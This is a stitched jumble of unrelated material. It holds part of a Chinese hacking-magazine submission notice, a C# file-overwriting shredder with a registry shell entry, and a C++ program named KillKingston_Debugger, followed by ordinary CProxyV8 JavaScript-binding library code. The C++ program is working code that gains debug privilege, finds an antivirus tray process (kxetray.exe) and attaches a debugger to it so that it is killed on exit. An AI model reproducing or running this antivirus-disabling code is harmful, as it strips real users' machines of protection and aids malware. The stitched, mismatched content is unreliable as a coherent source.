可以另投他处。限于人力，未采用的恕不退稿 ，请自留底稿。  

 重点提示：严禁一稿两投。无论什么原因，如果出现重稿——与别的杂志重复——与别

的网站重复，将会扣发稿费，从此不再录用该作者稿件。  

    4）稿费发放周期：  

 稿费当月发放（最迟不超过 2 月），稿费从优。欢迎更多的专业技术人员加入到这个行

列。 

    5）根据稿件质量，分为一等、二等、三等稿件，稿费标准如下： 

 一等稿件 900 元/篇 

 二等稿件 600 元/篇 

 三等稿件 300 元/篇 

    6）稿费发放办法：  

 银行卡发放，支持境内各大银行借记卡，不支持信用卡。 

    7）投稿信箱及编辑联系 

 投稿信箱：675122680@qq.com、hadefence@gmail.com 

 编辑 QQ：675122680 
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source/Filedel.cs

using System;
using System.IO;
using System.Text;
using System.Windows;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace FileDestroyer
{
	class Program
	{
		
		[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
		private static extern 
			IntPtr 
			CreateFile(
			[MarshalAs(UnmanagedType.LPTStr)] string lpFileName, 
			[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess, 
			[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode, 
			IntPtr pSecurityAttributes, 
			System.UInt32 dwCreationDisposition, 
			System.UInt32 dwFlagsAndAttributes, 
			IntPtr hTemplateFile);
				
  		[DllImport("kernel32.dll")]
			static extern bool WriteFile(IntPtr hFile, byte [] lpBuffer,
   			uint nNumberOfBytesToWrite, [MarshalAs(UnmanagedType.U4)] out uint lpNumberOfBytesWritten,
   			 ref System.Threading.NativeOverlapped lpOverlapped);
  		
 		[DllImport("kernel32.dll", SetLastError=true)]
			[return: MarshalAs(UnmanagedType.Bool)]
			static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll")]
			static extern uint GetLastError();
			
		const int OPEN_EXISTING = 3;
		const uint FILE_ATTRIBUTE_NORMAL = 128;
		const uint FILE_FLAG_NO_BUFFERING = 0x20000000;
		const uint FILE_FLAG_WRITE_THROUGH = 0x80000000;
		
		public static void Main()
		{
			string targetFile = "d:\\test.txt";
			// OverwriteMax is the number of times the program will 
			// overwrite the data with new data (zeros in our case).
			int OverwriteMax = 5;
			
			bool DeleteAfterOverwrite = true;
			// I've set this up so you can read this from a config file if you like
			// so you can alter the program without recompiling. 
			//string configFile = string.Empty;
			// If any error occurs during attempt to read MaxWrites value
			// then we just throw exception away and use the hardcoded value
			// Errors that could occur: If config file doesn't exist, 
			// if user supplies a non-integer value (chars, etc).
            /*
			try
			{
				configFile = Path.GetDirectoryName(Application.ExecutablePath) + "\\" + "FileDestroyer.config";
				string [] configLines = File.ReadAllLines(configFile);
				OverwriteMax = Convert.ToInt32(configLines[0].Split(new char[]{','})[0]);
				DeleteAfterOverwrite = Convert.ToBoolean(configLines[0].Split(new char[]{','})[1]);
			}
			catch
			{
				//MessageBox.Show(ex.Message);
				//return;
			}*/
			
			FileInfo fi = new FileInfo(targetFile);
			//MessageBox.Show(string.Format("{0} is {1} bytes.\n Going to overwrite the data {2} time(s).",targetFile, fi.Length, OverwriteMax.ToString()));
			
			// NewMethod(targetFile, MaxWrites);
			StrongMethod(targetFile, OverwriteMax, fi, DeleteAfterOverwrite);
			//MessageBox.Show(string.Format("{0} is completely destroyed.",targetFile));
		}
		
		public static void StrongMethod (string targetFile, int MaxWrites, FileInfo fi, bool DeleteAfterOverwrite)
		{
			int WRITE_SIZE = 512;
			
			// outputFileSize is the new file size which is divisble evenly by WRITE_SIZE
			long outputFileSize = (long)Math.Ceiling((double)fi.Length / WRITE_SIZE);

			// open the file and write to it FILEWRITE_COUNTER times
			for (int x = 0; x < MaxWrites;x++)
			{
				IntPtr hFile = CreateFile(targetFile, 
			                          FileAccess.Write,
			                          FileShare.None,
			                          IntPtr.Zero,
			                         OPEN_EXISTING,
			                         FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING | FILE_ATTRIBUTE_NORMAL ,
			                       	IntPtr.Zero);
			
				uint bytesWritten;
				byte [] charToWrite = new byte[WRITE_SIZE * outputFileSize];
				
				// initialize array to all zeros
				for (int z= 0;z<charToWrite.Length;z++)
				{
					charToWrite[z] = 48;
				}
				
				bool retVal = false;
				System.Threading.NativeOverlapped no = new System.Threading.NativeOverlapped();
				
				// write the entire file out.
				retVal = WriteFile(hFile,charToWrite,(uint)(charToWrite.Length),out bytesWritten,ref no);
				if (!retVal)
				{
					MessageBox.Show(GetLastError().ToString());
				}

				if (hFile != null)
				{
					bool success = CloseHandle(hFile);
				}
			}
			if (DeleteAfterOverwrite)
			{
				//File.Delete(targetFile);
			}
		}
		
		public static void WeakMethod(string targetFile, int MaxWrites)
		{
			byte [] allBytes = File.ReadAllBytes(targetFile);
			
			// initialize array of bytes to value of 0
			for (long byteCounter = 0;byteCounter < allBytes.LongLength;byteCounter++)
			{
				allBytes[byteCounter] = 48;
			}
			
			for (int x = 0;x < MaxWrites;x++)
			{
				File.WriteAllBytes(targetFile,allBytes);
			}
		}
	}
}






source/FileDelShell.reg

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\shell\文件销毁]

[HKEY_CLASSES_ROOT\*\shell\文件销毁\Command]
@="\"C:\\Windows\\System32\\FileDel.exe\" \"%1\""
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Source.cpp

#include<iostream>


#include<Windows.h>


#include <Tlhelp32.h>


using namespace std;


//#pragma comment(lib, "cmcfg32.lib")





BOOL SetPrivilege(


    HANDLE hToken,          // access token handle


    LPCTSTR lpszPrivilege,  // name of privilege to enable/disable


    BOOL bEnablePrivilege   // to enable or disable privilege


    )


{


    TOKEN_PRIVILEGES tp;


    LUID luid;





    if (!LookupPrivilegeValue(


        NULL,            // lookup privilege on local system


        lpszPrivilege,   // privilege to lookup 


        &luid))        // receives LUID of privilege


    {


        printf("LookupPrivilegeValue error: %u\n", GetLastError());


        return FALSE;


    }





    tp.PrivilegeCount = 1;


    tp.Privileges[0].Luid = luid;


    if (bEnablePrivilege)


        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;


    else


        tp.Privileges[0].Attributes = 0;





    // Enable the privilege or disable all privileges.





    if (!AdjustTokenPrivileges(


        hToken,


        FALSE,


        &tp,


        sizeof(TOKEN_PRIVILEGES),


        (PTOKEN_PRIVILEGES)NULL,


        (PDWORD)NULL))


    {


        printf("AdjustTokenPrivileges error: %u\n", GetLastError());


        return FALSE;


    }





    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)





    {


        printf("The token does not have the specified privilege. \n");


        return FALSE;


    }





    return TRUE;


}





BOOL EnableDebugPrivilege()


{


    HANDLE hToken = NULL;


    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))


    {


        cout << "Fail to Open current porcess token." << endl;


        return FALSE;


    }


    return SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);


}





BOOL GetProcessIdByName(LPCWSTR szProcessName, LPDWORD lpPID)


{


    // 变量及初始化


    STARTUPINFO st;


    PROCESS_INFORMATION pi;


    PROCESSENTRY32 ps;


    HANDLE hSnapshot;


    ZeroMemory(&st, sizeof(STARTUPINFO));


    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));


    st.cb = sizeof(STARTUPINFO);


    ZeroMemory(&ps, sizeof(PROCESSENTRY32));


    ps.dwSize = sizeof(PROCESSENTRY32);


    // 遍历进程


    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


    if (hSnapshot == INVALID_HANDLE_VALUE)


    {


        return FALSE;


    }





    if (!Process32First(hSnapshot, &ps))


    {


        return FALSE;


    }


    do


    {


        // 比较进程名


        if (lstrcmpi(ps.szExeFile, szProcessName) == 0)


        {


            // 找到了


            *lpPID = ps.th32ProcessID;


            CloseHandle(hSnapshot);


            return TRUE;


        }


    } while (Process32Next(hSnapshot, &ps));


    // 没有找到


    CloseHandle(hSnapshot);


    return FALSE;


}





int main(int argc,char** argv)


{


    if (!EnableDebugPrivilege())


    {


        cout << "Fail to enable debug privilege." << endl;


    }


    else


    {


        cout << "Obtained debug privilege." << endl;


    }





    Sleep(1000);


    DWORD dwPID = 0;


    if (!GetProcessIdByName(L"kxetray.exe", &dwPID))


    {


        cout << "Target not found." << endl


            << "Do something you want here!" << endl;


        getchar();


    }


    else


    {


        cout << "Pid= " << dwPID << endl;


    }





    if (!DebugActiveProcess(dwPID))


    {


        cout << "Fail to attach to target..." << endl;


        return FALSE;


    }


    else


    {


        cout << "Attached to target. It will be killed as this process exits." << endl;


        ShellExecuteA(NULL, "RunAs", argv[0], NULL, NULL, SW_SHOW);


    }





    //DebugActiveProcessStop(dwPID);





    return 0;


}







KillKingston_Debugger.exe







WebSearch/WebSearch/V8Ext/cproxyv8/cproxyv8-class.h

// Copyright 2008 the CProxyV8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

/**
 * #if _FILE_H Directive can not be applied to templates because the 
 * compiler needs all the implementation visible to expand it.
 */

#include <string.h>

//-----------------------------------------------------------------------------
#include "cproxyv8-function.h"
#include "cproxyv8-property.h"
//-----------------------------------------------------------------------------

/** 
* Handy macro to get the proxy class
*
* \code
*    ProxyClass<Point>* cPoint = CPROXYV8_CLASS(Point);
* \endcode
*/
#define CPROXYV8_CLASS(CLASS) \
  CProxyV8::ProxyClass<CLASS>::instance()->init(""#CLASS"")

/** 
* Handy macro to get the proxy class
*
* \code
*    ProxyClass<Point>* cPoint = CPROXYV8_CLASS(Point);
* \endcode
*/
#define CPROXYV8_CLASS_ID(CLASS,ID) \
  CProxyV8::ProxyClass<CLASS>::instance()->init(""#ID"")


/** 
* Handy macro to expose properties of the ProxyClass<T> with the same ID in JS
*
* \code
*    CPROXYV8_PROPERTY(Point, x, true, true);
* \endcode
*/
#define CPROXYV8_PROPERTY(CLASS, PROPERTY, GET, SET) \
  CProxyV8::ProxyClass<CLASS>::instance()->init(""#CLASS""); \
  CProxyV8::ProxyClass<CLASS>::instance()->Expose(&CLASS::PROPERTY, ""#PROPERTY"", SET, GET)

/** 
* Handy macro to expose properties of the ProxyClass<T> with different ID in JS
*
* \code
*    CPROXYV8_PROPERTY_ID(Point, x, x_, true, true);
* \endcode
*/

#define CPROXYV8_PROPERTY_ID(CLASS, PROPERTY, ID, GET, SET) \
  CProxyV8::ProxyClass<CLASS>::instance()->init(""#CLASS""); \
  CProxyV8::ProxyClass<CLASS>::instance()->Expose(&CLASS::PROPERTY, ""#ID"", SET, GET)

/** 
* Handy macro to expose methods of the ProxyClass<T> with the same ID in JS
*
* \code
*    CPROXYV8_METHOD(Point, translate);
* \endcode
*/
#define CPROXYV8_METHOD(CLASS, METHOD) \
  CProxyV8::ProxyClass<CLASS>::instance()->init(""#CLASS""); \
  CProxyV8::ProxyClass<CLASS>::instance()->Expose(&CLASS::METHOD, ""#METHOD"")

/**
* Handy macro to expose methods of the ProxyClass<T> with different ID in JS
*
* \code
*    CPROXYV8_METHOD_ID(Point, Translate, translate);
* \endcode
*/
#define CPROXYV8_METHOD_ID(CLASS, METHOD, ID) \
  CProxyV8::ProxyClass<CLASS>::instance()->init(""#CLASS""); \
  CProxyV8::ProxyClass<CLASS>::instance()->Expose(&CLASS::METHOD, ""#ID"")

namespace CProxyV8
{
  using namespace v8;
/**
 * Type::Cast is a facade pattern, and provides a simplified interface between C++ and 
 *            JavaScript.
 *
 * This encapsulate the cast between objects from JS->C++ and from C++->JS
 *
 * The only down side of this is when casting from JS to C++, it requires pointer
 * to the target type, this is necessary to give to the compiler the information about 
 * witch Cast function needs to be call.
 *
 * If a new primitive needs to be added here is where the cast need to be added.
 */
namespace Type
{
  /** Constructor C++ */
  template <class T>
  inline T* New(T*t)
  { 
    //ASSERT(!t);
    return new T();
  }

  /** Cast from V8 to C++ */
  inline bool Cast(bool*, Local<Value> value) 
  { 
    return value->BooleanValue(); 
  }	

  inline double Cast(double*, Local<Value> value) 
  { 
    return value->NumberValue(); 
  }	

  inline uint32_t Cast(uint32_t*, Local<Value> value) 
  { 
    return value->Uint32Value(); 
  }	

  inline int32_t  Cast(int32_t*, Local<Value> value) 
  { 
    return value->Int32Value(); 
  }

  inline int64_t  Cast(int64_t*, Local<Value> value) 
  { 
    return value->IntegerValue(); 
  }

  inline Handle<Value> Cast(Handle<Value> value) 
  { 
    return value;
  };


  /** Cast V8:Value to primitive value */
  template<class T>
  inline T Cast(T*, Local<Value> value) 
  { 
    return ProxyClass<T>::instance()->UnwrapObject(value);
  }

  template<class T>
  inline T Cast(T&, Local<Value> value) 
  { 
    return ProxyClass<T>::instance()->UnwrapObject(value);
  }

  /** Cast from C++ to V8 */
  inline Handle<Value> Cast(bool caseParam)     { return Boolean::New(caseParam); }	
  inline Handle<Value> Cast(double caseParam)   { return Number::New(caseParam); }  
  inline Handle<Value> Cast(uint32_t caseParam) { return Uint32::New(caseParam); }	
  inline Handle<Value> Cast(int32_t  caseParam) { return Int32::New(caseParam); }

  template<class T>
  inline Handle<Value> Cast(T* t) 
  { 
    return ProxyClass<T>::instance()->ExposeObject(t, false);
  };

  template<class T>
  inline Handle<Value> Cast(T& t) 
  { 
    return ProxyClass<T>::instance()->ExposeObject(&t, false);
  };

  /** Function return value Cast from C++ to V8 */
  inline Handle<Value> FCast(bool caseParam)     { return Cast(caseParam); }	
  inline Handle<Value> FCast(double caseParam)   { return Cast(caseParam); }  
  inline Handle<Value> FCast(uint32_t caseParam) { return Cast(caseParam); }	
  inline Handle<Value> FCast(int32_t  caseParam) { return Cast(caseParam); }

  template<class T>
  inline Handle<Value> FCast(T* t) 
  { 
    return ProxyClass<T>::instance()->ExposeObject(t, true);
  };

  template<class T>
  inline Handle<Value> FCast(T& t) 
  { 
    return ProxyClass<T>::instance()->ExposeObject(&t, true);
  };

};



//-----------------------------------------------------------------------------
//-------------------------------------------------------------------- Property
//-----------------------------------------------------------------------------

template <class T>
class InstaceHandle
{
public:
  InstaceHandle(bool toBeCreated)
    : t_(NULL), toBeDestroy_(toBeCreated),toBeCreated_(toBeCreated) {};

  explicit InstaceHandle(T* t) 
    : t_(t), toBeDestroy_(false), toBeCreated_(false) {}

  ~InstaceHandle() { if (t_ && toBeDestroy_) delete t_; }

  inline void set(T*t, bool toBeDestroy);

  /**
   * Returns true if the handle is empty.
   */
  inline bool IsEmpty();

  T* operator->();

  T* operator*();

  /**
   * Checks whether two handles are the same.
   * Returns true if both are empty, or if the objects
   * to which they refer are identical.
   * The handles' references are not checked.
   */
  template <class S> bool operator==(Handle<S> that);

  /**
   * Checks whether two handles are different.
   * Returns true if only one of the handles is empty, or if
   * the objects to which they refer are different.
   * The handles' references are not checked.
   */
  template <class S> bool operator!=(Handle<S> that) 
  {
    return !operator==(that);
  }

  static InstaceHandle<T>* Cast(void* that) 
  {
    return static_cast<InstaceHandle<T>*>(that);
  }

private:
  T* t_;
  bool toBeDestroy_;
  bool toBeCreated_;
};

template <class T>
T* InstaceHandle<T>::operator->()
{
  if (!t_ && toBeCreated_)
  {
    t_ = Type::New((T*)NULL);
    toBeCreated_ = false;
  }

  return t_;
}

template <class T>
void InstaceHandle<T>::set(T*t, bool toBeDestroy)
{ 
  if (t_ && toBeDestroy_) 
    delete t_; 
  toBeDestroy = toBeDestroy; 
  t_ = t;
}

template <class T>
template <class S>
bool InstaceHandle<T>::operator==(Handle<S> that)
{
  if (!t_ && toBeCreated_)
    return false;

  void** a = reinterpret_cast<void**>(**this);
  void** b = reinterpret_cast<void**>(*that);
  if (a == 0) return b == 0;
  if (b == 0) return false;
  return *a == *b;
}


template <class T>
bool InstaceHandle<T>::IsEmpty() 
{ 
    return t_ == 0 && !toBeCreated_; 
}

template <class T>
T* InstaceHandle<T>::operator*()
{
  if (!t_ && toBeCreated_)
  {
    t_ = Type::New((T*)NULL);
    toBeCreated_ = false;
  }

  return t_;
}

//-----------------------------------------------------------------------------
//-------------------------------------------------------------------- class
//-----------------------------------------------------------------------------

/** 
 * The ProxyClass<T> have the following objectives:
 *
 *    1. Provide an EASY way to expose properties from Cpp objects to JS
 *    2. Provide an EASY way to expose methods from Cpp objects to JS
 *    3. Avoid the need of MACROS to declare types or keep tracking of all
 *       classes. The compiler must take care of this with the templates.
 *    4. Avoid the need of specifics callbacks declarations required by 
 *       V8 and replace it by hidden generic callbacks directly to the 
 *       object instance.
 *    5. Achive this goals without modification of V8 code.
 *
 * ProxyClass<T> is implemented with cpp templates classes.
 * 
 * Every ProxyClass<T> is a singleton instance. The compiler handles
 * the resources allocation for the specific class instance. Making the 
 * ProxyClass<T> usage scope independent. There is another avantage,
 * the singlenton restriction force the program to have only 1 representation
 * of the specific ProxyClass<T> in C++ and JS, this avoid confussion
 * and force good code practices.
 *
 * ProxyClass<T> does not keep any references to objects of type T.
 *
 *  IMPORTAN IMPORTANT IMPORTANT!!!!!
 *
 *  BE AWARE: There is the posibilitye to create memory problems if the 
 *            T instance is dispose and there are reference to his properties
 *            in JS. 
 *
 *  TODO: Do something to help to solve this problem or at least give a warning.
 *
 * The following example shows how to use a ProxyClass<T>:
 *
 * \code
 * class Point 
 * {
 * 	public:
 *     ** Constructor without params is required *
 * 		Point(int px = 0, int py = 0) : x_(px), y_(py) {}
 *     Point(Point* p) : x_(p->x_), y_(p->y_) {}
 * 
 * 		int x_;
 *     int y_;
 * 
 *     ** Example call to function without params *
 *     int GetManhattanLength()  { return std::abs(x_) - std::abs(y_); }
 * 
 *     ** this will create a JS object, with JS destructor *
 *     Point* Copy() { return new Point(); }
 *  
 *     ** Example call to function with params *
 *     v8::Handle<v8::Value> Translate(const v8::Arguments& args) 
 *     { 
 *       // throw if we didn't get 2 args
 *       if (args.Length() != 2)
 *         return ThrowException(v8::String::New("Expected 2 arguments"));
 * 
 *       x_ += args[0]->Int32Value();
 *       y_ += args[1]->Int32Value();
 *       return v8::True(); 
 *     };
 * };
 * 
 *  **
 *  * Simple class to show how to expose object properties and methods with
 *  * reference to this properties.
 *  *
 *  *  BE AWARE: There can create memory problems if the line instance is dispose and
 *  *            there are reference to his properties in JS. Ha handle is a better
 *  *            way to expose this objects.
 *  *
 *  *
 * class Line
 * {
 * public:
 *   ** Constructor without params is required *
 *   
 *   ** Example of object property, it can be manipulate directly *
 *   Point start;  
 * 
 *   ** this will create a JS object, without destructor and a reference to this 
 *    *  end instance 
 *    *
 *    *
 *   Point& GetEnd() { return end; }
 * 
 * private:
 *   Point end;
 * };
 *
 *    int main(int argc, char* argv[]) 
 *    {
 *      ProxyClass<Point>* classPoint = PROXY_CLASS(Point);
 *      classPoint->Expose("x", &Point::x_, true, true);
 *      classPoint->Expose("y", &Point::y_, true, true);
 *
 *      ProxyClass<Line>* classLine = PROXY_CLASS(Line);
 *      classLine->Expose("start", &Line::start_, true, true);
 *      classLine->Expose("end", &Line::end_, true, true);
 *      classLine->Expose("getXDistance", &Line::GetXDistance);
        classLine->Expose("getYDistance", &Line::GetYDistance);
 *     ....
 *
 *      v8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New();
 *
 *      global->Set(v8::String::New("Point"), classPoint->GetFunctionTemplate()); // add Point object
 *      global->Set(v8::String::New("Line"), classLine->GetFunctionTemplate()); // add Line object
 *     ....
 *    }
 *
 *    //--- JS code
 *    > point = new Point();
 *    > line = new Line();
 *    > line.getXDistance();
 *    0
 *    > line.start.x = 10;
 *    > line.getXDistance();
 *    10
 *    >
 *
 * \endcode
 * 
 */
template<class T>
class ProxyClass
{
public:  
	/** 
   * init can be called multiple times but the name must be
   * same as the first call for this template.
   */ 
  ProxyClass<T>* init(char*name);

  /** returns the singleton instance for the template class */ 
  static ProxyClass<T>* instance() { return &proxyClass; }

  /** Expose class property member to JavaScript */ 
	template<class TProperty>
	void Expose( TProperty T::*property, char* propertyName,
               bool getter, bool setter);

  /** Expose class property member to JavaScript whit a custon accessor */ 
	template<class TProperty>
	void Expose( TProperty T::*property, char* propertyName,
               AccessorProperty* accessor, bool getter, bool setter);

  /** Expose class method member to JavaScript, can return any type and
   *  has no parameters. 
   *
   *  BE AWARE OF:
   *    IF the method returns TClass* the object WILL BE DISPOSE 
   *    when the garbage collector reclain the memory.
   *
   *    IF the method returns TClass& the object WILL BE NOT DESTROY 
   *    by the garbage collector.   
   */ 
  template<class TClass>
  void Expose(TClass (T::*function)(), char* functionName);

  void Expose(Handle<Value> (T::*Method) (const Arguments& args), char* functionName);

  void Expose(AccessorFunction* accessorFunction, char* functionName);
  
  T* UnwrapObject(Local<Object> holder);
  T* UnwrapObject(Local<Value> value);

  Handle<Value> ExposeObject(T* t, bool withDestroy);
  void ExposeObject(v8::Handle<v8::ObjectTemplate> context, T* t, const char* name, bool withDestroy);

  Handle<FunctionTemplate> GetFunctionTemplate() { return functionTemplate_; };

private:
  /** Singleton ProxyClass<T> */
	ProxyClass() {};

  /** Singleton JavaScript name */
  Local<String> className_;

  /** List of accessors, this is used to dispose accessors when the template 
   *  is destroy 
   */
  internalUtil::AccessorList accessorList_;

  /** V8 FunctionTemplate */
	Handle<FunctionTemplate> functionTemplate_;

  /** V8 ObjectTemplate */
	Handle<ObjectTemplate> objectTemplate_;

  /** static single class ProxyClass<T> */
  static ProxyClass<T> proxyClass;
};


template<class T>
ProxyClass<T> ProxyClass<T>::proxyClass;

template<class T>
ProxyClass<T>* ProxyClass<T>::init(char* name)
{
  if (!className_.IsEmpty())
  {
    String::Utf8Value currentName(className_);
    //If the name is the same just return the instance
    if (strcmp(*currentName,name)) 
    {
      //Utils::ReportApiFailure("cProxyV8::ProxyClass", "Error initializing - Class already exist");  
      return NULL;
    }
  }
  else
  {
    className_ = String::New(name);

	  functionTemplate_ = FunctionTemplate::New(Create<T>);
	  functionTemplate_->SetClassName(className_);

	  // Instance template from which Point objects are based on
	  objectTemplate_ = functionTemplate_->InstanceTemplate();
	  objectTemplate_->SetInternalFieldCount(1); // create an internal field for the C++ object
  }

  return instance();
}

template<class T>
template<class TProperty>
void ProxyClass<T>::Expose( TProperty T::*property, char* propertyName,
                            bool getter, bool setter)
{
  ObjectProperty<T,TProperty>* accessor = new ObjectProperty<T,TProperty>(property);
  accessorList_.push(accessor);
  Expose(property, propertyName, accessor, getter, setter);
}

template<class T>
template<class TProperty>
void ProxyClass<T>::Expose( TProperty T::*property, char* propertyName,
                            AccessorProperty* accessor, bool getter, bool setter)
{
  //ASSERT(propertyName);
  //ASSERT(setter || getter);

	AccessorGetter getterAccessor = getter ? Accessor_GetProperty : 0;
	AccessorSetter setterAccessor = setter ? Accessor_SetProperty : 0;
  Handle<Value> data = External::New(accessor);

	objectTemplate_->SetAccessor(String::New(propertyName), getterAccessor, setterAccessor, data);
}
/***/

template<class T>
template<class TClass>
void ProxyClass<T>::Expose(TClass (T::*function)(), char* functionName)
{
  AccessorFunction* accessor = new FuncRetObj<T,TClass>(function);
  accessorList_.push(accessor);
  Expose(accessor, functionName);
}

template<class T>
void ProxyClass<T>::Expose(Handle<Value> (T::*function) (const Arguments& args),
                           char* functionName)
{
  AccessorFunction* accessor = new FuncV8<T>(function);
  accessorList_.push(accessor);
  Expose(accessor, functionName);
}

template<class T>
void ProxyClass<T>::Expose(AccessorFunction* accessorFunction, char* functionName)
{
  Handle<Value> data = External::New(accessorFunction);
  Local<FunctionTemplate> func = FunctionTemplate::New();
  func->SetCallHandler(Accessor_Function,data);  
  objectTemplate_->Set(functionName, func);  
}

template<class T>
T* ProxyClass<T>::UnwrapObject(Local<Object> holder)
{
  Local<External> external = Local<External>::Cast(holder->GetInternalField(0));
  InstaceHandle<T>* tHandle = InstaceHandle<T>::Cast(external->Value());
  return *(*tHandle);
}

template<class T>
T* ProxyClass<T>::UnwrapObject(Local<Value> value)
{
  Local<External> external = Local<External>::Cast(value);
  InstaceHandle<T>* tHandle = static_cast<InstaceHandle<T>*>(external->Value());
  return *(*tHandle);
}

template<class T>
void ProxyClass<T>::ExposeObject(v8::Handle<v8::ObjectTemplate> context, T* t, const char* name, bool withDestroy)
{  
  HandleScope handle_scope;
  context->Set(String::New(name), ExposeObject(t, withDestroy));
}

//-----------------------------------------------------------------------------
//-------------------------------------------------------------------- 
//-----------------------------------------------------------------------------

template<class T>
Handle<Value> ProxyClass<T>::ExposeObject(T* t, bool withDestroy)
{
  // Handle scope for temporary handles.
  HandleScope handle_scope;

  Handle<ObjectTemplate> templ = objectTemplate_;

  // Create an empty http request wrapper.
  Handle<Object> result = templ->NewInstance();

  // Wrap the raw C++ pointer in an External so it can be referenced
  // from within JavaScript.
  Local<External> externalVal = Local<External>::Cast(result->GetInternalField(0));

  InstaceHandle<T>* tHandle = static_cast<InstaceHandle<T>*>(externalVal->Value());
  tHandle->set(t, withDestroy);

  // Return the result through the current handle scope.  Since each
  // of these handles will go away when the handle scope is deleted
  // we need to call Close to let one, the result, escape into the
  // outer handle scope.
  return handle_scope.Close(result);
}

// js T constructor function, called when `new T(...)' in js
template<class T>
Handle<Value> Create(const Arguments& args)
{
	// throw if called without `new'
	if (!args.IsConstructCall()) 
		return ThrowException(String::New("Cannot call constructor as function"));

	// throw if we didn't get 0 args
	if (args.Length() != 0)
		return ThrowException(String::New("Expected no arguments"));

	// create the C++ Handle<T> to be wrapped
	InstaceHandle<T>* t = new InstaceHandle<T>(true);

	// make a persistent handle for the instance and make it
	// weak so we get a callback when it is garbage collected
	Persistent<Object> self = Persistent<Object>::New(args.Holder());
	self.MakeWeak(t, WeakReferenceCallback(Class_Destroy<T>));

	// set internal field to the C++ point 
	self->SetInternalField(0, External::New(t));

	return self;
}

/**
 * Called when the T object is being garbage collected
 * delete the C++ object and ClearWeak on the Persistent handle.
 */
template<class T>
void Class_Destroy(Persistent<Object> self, void* parameter)
{

    try{
        delete static_cast<T*>(parameter);
	    self.ClearWeak();
    }
    catch(...){
		int iErr = 0;
		iErr++;
	}

    /*try{
	    delete static_cast<T*>(parameter);
	    self.ClearWeak();
    }catch(...){

    }*/
}

}
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// Copyright 2008 the CProxyV8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

/**
 * #if _FILE_H Directive can not be applied to templates because the 
 * compiler needs all the implementation visible to expand the templates.
 */

//---------------------------------------------------------------------

#include "cproxyv8.h"

//---------------------------------------------------------------------

namespace CProxyV8
{

/**
 * TAccessorFunction is a handy class, it keeps the commom variables for the
 * specific implemtations of AccessorFunction.
 */
template<class T, class TReturn>
class TAccessorFunction : public AccessorFunction
{
public:
  typedef TReturn (T::*Function)();

  TAccessorFunction(Function function) 
                  : function_(function) {}

protected:  
  Function function_;
};

/**
 * FuncRetObj is the implementation of AccessorFunction that works
 * as a proxy between functions of type:
 *
 * \code
 *    class Example
 *    {
 *    public:
 *      TClass Method();
 *    ...
 * \endcode
 * 
 * Where TClass represents the class of objects that already have a 
 * CProxyV8::ProxyClass, this will create a new jsObj of the class TClass and
 * returned to the JS enviroment.
 *
 * No arguments allowed
 *
 * issues: TClass can not be a pointer(*) or a references (&), you will
 *         receive a template ambiguous type cast error if you use it.
 *
 * \code
 *    class Example
 *    {
 *    public:
 *      Point  Method(); //ok
 *      Point* Method(); //ambiguous type
